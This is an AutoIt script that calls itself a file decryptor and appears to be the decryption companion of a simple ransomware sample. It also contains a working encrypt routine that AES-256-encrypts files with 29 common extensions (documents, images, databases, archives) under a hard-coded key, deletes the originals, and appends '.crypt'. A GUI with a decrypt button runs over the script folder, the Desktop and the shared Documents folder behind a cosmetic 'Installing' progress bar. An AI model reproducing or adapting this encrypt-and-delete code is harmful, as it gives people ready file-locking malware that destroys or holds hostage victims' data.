#cs ---------------------------------------------------------------------------- AutoIt Version: 3.3.14.2 Author: Shaurya Kapoor Script Function: Decrypts files in folders and sub-folders. #ce ---------------------------------------------------------------------------- ; Script Start #include #include #include #include #include #include #include #include #include Global $extension[29] = ["txt", "doc", "docx", "xls", "lsx", "ppt", "ptx", "jpg", "png", "csv", "sql", "php", "asp", "xml", "psd" , "zip", "mp4", "mp3", "gif", "rar", "csv", "htm", "tml", "pdf", "xlr", "sql", ".db", "tls", "py"] Func encrypt($a_files,$path) For $i = 1 To $a_files[0] ConsoleWrite($a_files[$i]) $ext = StringRight($a_files[$i],3) ConsoleWrite($ext) ConsoleWrite(" ") $valid = _ArraySearch($extension,$ext) ConsoleWrite($valid) ConsoleWrite(" ") $no = -1 If Not($valid = $no) Then $f_path = $path & "\" & $a_files[$i] $rc = _Crypt_EncryptFile($f_path,$f_path & ".crypt", "APASSWORD", $CALG_AES_256) If $rc Then ;MsgBox($MB_SYSTEMMODAL, "Success", $f_path) FileDelete($f_path) Else ConsoleWrite("Error: " & @error & @CRLF) EndIf Else ConsoleWrite("not valid ext ") EndIf Next EndFunc Func decrypt($d_files,$path) For $i = 1 To $d_files[0] ConsoleWrite($d_files[$i]) $ext = StringRight($d_files[$i],5) ConsoleWrite($ext) ConsoleWrite(" ") $check = "crypt" $valid = StringCompare($check,$ext) ConsoleWrite($valid) ConsoleWrite(" ") $no = 0 If ($valid = $no) Then $f_path = $path & "\" & $d_files[$i] $rc = _Crypt_DecryptFile($f_path,$f_path & ".crypt", "APASSWORD", $CALG_AES_256) If $rc Then ;MsgBox($MB_SYSTEMMODAL, "Success",$f_path) FileDelete($f_path) $c_name = $f_path & ".crypt" $name = StringTrimRight($c_name,12) FileMove($c_name,$name) Else ConsoleWrite("Error: " & @error & @CRLF) EndIf Else ConsoleWrite("no") EndIf Next EndFunc Func _RecFileFinder($sPath, $sFunction, $sInclude_List = "*", $sExclude_List = "", $fRecur = 0) Local $asFolderList[3] = [1], $sInclude_List_Mask, $sExclude_List_Mask Local $sCurrentPath, $hSearch, $sReturnPath = "", $sName, $fFolder ; Check valid path If Not FileExists($sPath) Then Return SetError(1, 1, "") ; Ensure trailing \ If StringRight($sPath, 1) <> "\" Then $sPath = $sPath & "\" ; Add path to folder list $asFolderList[1] = $sPath ; Determine Filter mask for SRE check If StringRegExp($sInclude_List, "\\|/|:|\<|\>|\|") Then Return SetError(1, 2, "") ; Check for invalid characters $sInclude_List = StringReplace(StringStripWS(StringRegExpReplace($sInclude_List, "\s*;\s*", ";"), 3), ";", "|") ; Strip WS and swap :/| $sInclude_List_Mask = "(?i)^" & StringReplace(StringReplace(StringReplace($sInclude_List, ".", "\."), "*", ".*"), "?", ".") & "\z" ; Convert to SRE pattern ; Determine Exclude mask for SRE check If $sExclude_List = "" Then $sExclude_List_Mask = ":" ; Set unmatchable mask Else If StringRegExp($sExclude_List, "\\|/|:|\<|\>|\|") Then Return SetError(1, 3, "") ; Check for invalid characters $sExclude_List = StringReplace(StringStripWS(StringRegExpReplace($sExclude_List, "\s*;\s*", ";"), 3), ";", "|") ; Strip WS and swap ;/| $sExclude_List_Mask = "(?i)^" & StringReplace(StringReplace(StringReplace($sInclude_List, ".", "\."), "*", ".*"), "?", ".") & "\z" ; Convert to SRE pattern EndIf ; Verify other parameter values If Not ($fRecur = 0 Or $fRecur = 1) Then Return SetError(1, 4, "") ; Search in listed Folders While $asFolderList[0] > 0 ; Set path to search $sCurrentPath = $asFolderList[$asFolderList[0]] ; Reduce folder array count $asFolderList[0] -= 1 ; Get search handle $hSearch = FileFindFirstFile($sCurrentPath & "*") ; If folder empty move to next in list If $hSearch = -1 Then ContinueLoop ; Search folder While 1 $sName = FileFindNextFile($hSearch) ; Check for end of folder If @error Then ExitLoop ; Check for subfolder - @extended set in 3.3.1.1 + $fFolder = @extended ;$fFolder = StringInStr(FileGetAttrib($sCurrentPath & $sName), "D") ; pre 3.3.1.1 ; If recursive search, add subfolder to folder list If $fRecur And $fFolder Then ; Increase folder array count $asFolderList[0] += 1 ; Double folder array size if too small (fewer ReDim needed) If UBound($asFolderList) <= $asFolderList[0] + 1 Then ReDim $asFolderList[UBound($asFolderList) * 2] ; Add subfolder to list $asFolderList[$asFolderList[0]] = $sCurrentPath & $sName & "\" Call($sFunction, $sCurrentPath & $sName, 1) EndIf ; Check file/folder type against required return value and file/folder name against Include/Exclude masks If Not $fFolder And StringRegExp($sName, $sInclude_List_Mask) And Not StringRegExp($sName, $sExclude_List_Mask) Then ;This is where you can do what you want with the found files Call($sFunction, $sCurrentPath & $sName, 0) EndIf WEnd ; Close current search FileClose($hSearch) WEnd EndFunc ;==>_RecFileFinder #Region ### START Koda GUI section ### Form= $Form1 = GUICreate("Sample1", 316, 242, 192, 124) $Button2 = GUICtrlCreateButton("Decrypt", 112, 112, 121, 25) $Pic1 = GUICtrlCreatePic(@ScriptDir & "\ERhISrt.gif", 56, 48, 100, 100) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ### _RecFileFinder(@ScriptDir & "\", "_Found", "*", "", 1) Func _Found($Path, $IsFolder) Select Case $IsFolder $FolderPath = StringSplit($Path,@CRLF,1) For $i = 1 To $FolderPath[0] $FolderName = StringSplit($FolderPath[$i],"\",1) Next Case Else ConsoleWrite($Path & @CRLF) EndSelect EndFunc While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $Button2 ProgressOn("Installing", "Decrypting", "Working...") $dec_files = _FileListToArray(@ScriptDir) ;MsgBox($MB_SYSTEMMODAL,"list",@ScriptDir) For $i = 0 To 30 ProgressSet($i) Sleep(5) Next Call("decrypt",$dec_files,@ScriptDir) For $i = 31 To 60 ProgressSet($i) Sleep(5) Next $e_files = _FileListToArray(@DesktopDir) ;MsgBox($MB_SYSTEMMODAL,"list",@DesktopDir) Call("decrypt",$e_files,@DesktopDir) For $i = 61 To 90 ProgressSet($i) Sleep(5) Next $g_files = _FileListToArray(@DocumentsCommonDir) Call("decrypt",$g_files,@DocumentsCommonDir) For $i = 91 To 100 ProgressSet($i) Sleep(5) Next ProgressSet(100, "Done!") Sleep(750) ProgressOff() Case $GUI_EVENT_CLOSE Exit EndSwitch WEnd